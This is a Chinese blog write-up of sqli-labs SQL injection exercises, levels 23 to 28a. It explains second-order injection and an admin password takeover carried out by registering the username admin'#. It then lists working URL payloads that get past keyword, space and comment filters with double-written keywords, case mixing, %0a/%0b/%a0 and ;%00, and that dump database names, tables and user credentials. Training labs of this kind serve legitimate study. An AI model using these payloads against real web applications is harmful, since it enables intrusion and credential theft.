Less 23
这一关又是URL注入,注释符(--+,#等)被过滤,所以我们就正常构造闭合,由于有页面回显,所以再联合查询即可
首先利用?id=1'判断出这是字符型注入
这一关只需要将一般后面用到的注释符--+、#等用;%00代替即可,其他均与第一关一致
或者报错注入也可以
/?id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1
Less 24
二阶注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据:进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据:开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
例: 输入参数 id= 1‘ 、传输转义id= 1’ 、此时转义之后无法注入、存入数据库为 1’、再次取出直接闭合
首先我们先注册一个新用户,为admin'#,密码随便,我设置的是123456(为什么写出来呢,在这里帮自己记一下hiahia~~~)
登录admin'#这个账号
修改密码,我改成了bjyxszd,其实现在修改的就是admin的密码
用账号admin密码bjyxszd登录,如图,我们已经登录成功啦~~~
这是为啥呢,在给admin'#修改密码时,数据库执行语句为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
我们可以看到已经构造了闭合,所以等同于UPDATE users SET passwd="New_Pass" WHERE username =' admin'
为了以后做别的关卡忘记密码还得回来改,所以做完这一关我又改回了admin~~~
Less 25
这一关是过滤掉了payload里的and和or,所以解决办法有二,如下:
①and→&&,or→||
②双写绕过:anandd,oorr
Ps:有的时候&&和||需要换成URL编码
如下图还是字符型
爆库
?id=jyx' union select 1,database(),3 '
爆表名双写or示例
?id=jyx' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3 '
爆列名与内容这里就不再赘述了,我们只要遇到连着的or字母和and双写就完事了
Less 25a
加了单引号发现周围并无再有单引号进行包裹,所以这一关不用构造闭合
除了不需要构造闭合,其他均与第25关一致,下图爆表名示例
?id=-1 union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3
Less 26
过滤掉了空格和注释以及and、or
and、or参考25关解决办法,但是空格被过滤,以及常见的%开头可替换的都不行,最后找到一个%a0可以替代空格(我没有成功,据说是window下apache解析的问题)
补充绕开空格:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
注意这一关需要单引号闭合
爆库
?id=1'||updatexml(1,concat(0x7e,(database())),1);%00
爆表名(由于我的%a0不能用,所以就上网找了方法终于解决了这一关,就是多用括号,想办法用括号给隔开)
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1)|| '1'='1
其他的字段名以及内容和之前一样操作就可以了~~~还要注意security和users写成十六进制编码。
Less 26a
PS,26关以后到28a,一直都会存在window下apache解析的问题,所以此时我们需要Kali linux下使用docker配置sqli-labs,此处操作请参考文章:https://www.cnblogs.com/Feng-L/p/12367640.html,我折在了开始没几步的update上QAQ,所以从26a关我们就理论为主了,参考:原文链接:https://blog.csdn.net/qq_41420747/article/details/81836327
这一关过滤了空格和注释的盲注,与26的区别在于,sql语句添加了一个括号,也就是单引号和括号的闭合,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入。
查库名:
?id=100')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
查表名:
?id=100')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
查字段名:
id=100')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
查内容:?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
Less 27
这一关单引号闭合,过滤掉了union和select,过滤空格,union的话写成这样uniunionon可以绕过,但是select得写两层selselselectectect,还有一种方法就是大写,比如uNion,空格的话用%0A(去网上又找了找27关的通关方法,发现有人%0A可以,我试了一下我也可以~~~但是回到26关和26a关还是不行QAQ)
爆库
?id=99'%0AUNIon%0ASELECt%0A1,database(),3||'1'='1
爆表
?id=99'%0AUNIon%0ASELECt%0A1,(SELECt%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0A),3||'1'='1
爆字段
?id=99'%0AUNIon%0ASELECt%0A1,(SELECt%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name='users'),3||'1'='1
爆内容
?id=99'%0AUNIon%0ASELECt%0A1,(SELECt%0Agroup_concat(username,password)%0Afrom%0Ausers),3||'1'='1
Less 27a
这个是第27关的双引号闭合型的,操作如27关一致
爆库
?id=99"%0AUNIon%0ASELECt%0A1,database(),3||"1"="1
爆表名
?id=99"%0AUNIon%0ASELECt%0A1,(SELECt%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0A),3||"1"="1
爆字段
?id=99"%0AUNIon%0ASELECt%0A1,(SELECt%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name='users'),3||"1"="1
爆内容
?id=99"%0AUNIon%0ASELECt%0A1,(SELECt%0Agroup_concat(username,password)%0Afrom%0Ausers),3||"1"="1
Less 28
这一关过滤注释符,空格,-号,union+select,我使用双写大写都不行所以去网上找了能在我这里用的,参考原文链接:https://www.cnblogs.com/-zhong/p/10941445.html
爆库
?id=999')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1
爆表名
?id=999')ununion%0Aselection%0Aselect%0A1,(select %0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3||('1')=('1
爆列名以及内容啥的只要将页面回显2的语句替换即可,与前几关一致,不再演示~~~
Less 28a
与28关操作一致~~~就酱~~~
这篇博客就到这里~~~